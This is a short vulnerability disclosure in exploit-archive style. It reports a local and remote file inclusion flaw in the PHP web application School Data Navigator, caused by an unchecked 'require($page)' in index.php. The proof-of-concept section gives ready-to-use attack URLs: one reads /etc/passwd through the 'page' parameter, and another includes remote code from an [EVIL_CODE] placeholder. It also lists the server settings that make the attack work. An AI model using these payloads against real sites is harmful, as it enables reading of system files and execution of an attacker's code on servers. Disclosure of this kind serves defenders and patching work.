School Data Navigator Local/Remote File Inclusion

`----------------------------------------------------------------------------------------------------  
  
Name : School Data Navigator  
Site : http://sourceforge.net/projects/school-data-nav/  
Down : http://216.92.6.173/data_navigator/app_and_readme.zip  
  
----------------------------------------------------------------------------------------------------  
  
  
Found By : br0ly  
Made in : Brasil  
Contact : br0ly[dot]Code[at]gmail[dot]com  
  
----------------------------------------------------------------------------------------------------  
  
Description:  
  
Bug : Local/Remote File Inclusion  
  
Look this: index.php:48: require($page); The variable was not declared properly.  
  
If allow_url_fopen=on --> RFI;  
If magic_quotes_gpc=off --> LFI;   
  
  
  
----------------------------------------------------------------------------------------------------  
  
P0c:  
  
LFI:http://localhost/Scripts/app_and_readme/navigator/index.php?page=/etc/passwd  
RFI: http://localhost/Scripts/app_and_readme/navigator/index.php?page=[EVIL_CODE]  
  
OBS: need register_globals=on;  
  
----------------------------------------------------------------------------------------------------  
  
  
  
`